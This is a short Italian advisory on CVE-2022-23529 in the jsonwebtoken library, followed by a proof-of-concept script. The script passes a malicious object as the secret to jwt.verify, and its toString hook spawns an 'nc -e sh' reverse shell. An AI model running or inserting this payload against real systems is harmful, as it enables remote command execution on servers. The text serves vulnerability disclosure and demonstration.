CVE-2022-23529

Le versioni della libreria JSON Web Token (JWT) precedenti alla 3.4.6, alla 4.0.4 e alla 4.1.5 sono vulnerabili a RCE.

Le funzioni di hashing HMAC accettano qualsiasi stringa come input, il che porta a RCE.

A causa delle precondizioni, è improbabile che questa vulnerabilità sia sfruttabile.

Per sfruttare questa vulnerabilità, un attaccante dovrebbe soddisfare una delle seguenti condizioni:

• Il server non memorizza le chiavi segrete in modo sicuro.
• L'attaccante deve avere accesso alle chiavi segrete e controllarle.

npm install [email protected]

var jwt = require('jsonwebtoken');

crea un token usando il segreto del server

var token = jwt.sign({"x":"y"}, 'servers_secret');

crea un oggetto dannoso contenente una reverse shell (node.js)

var poisoned_secret_on_server = { 
    toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
        process.on('exit', ()=> {
            require('child_process').exec('nc -e sh 127.0.0.1 9001');
        });
        process.exit(0)
    }
}

il server verifica il token utilizzando un oggetto dannoso memorizzato come segreto

jwt.verify(token, poisoned_secret_on_server);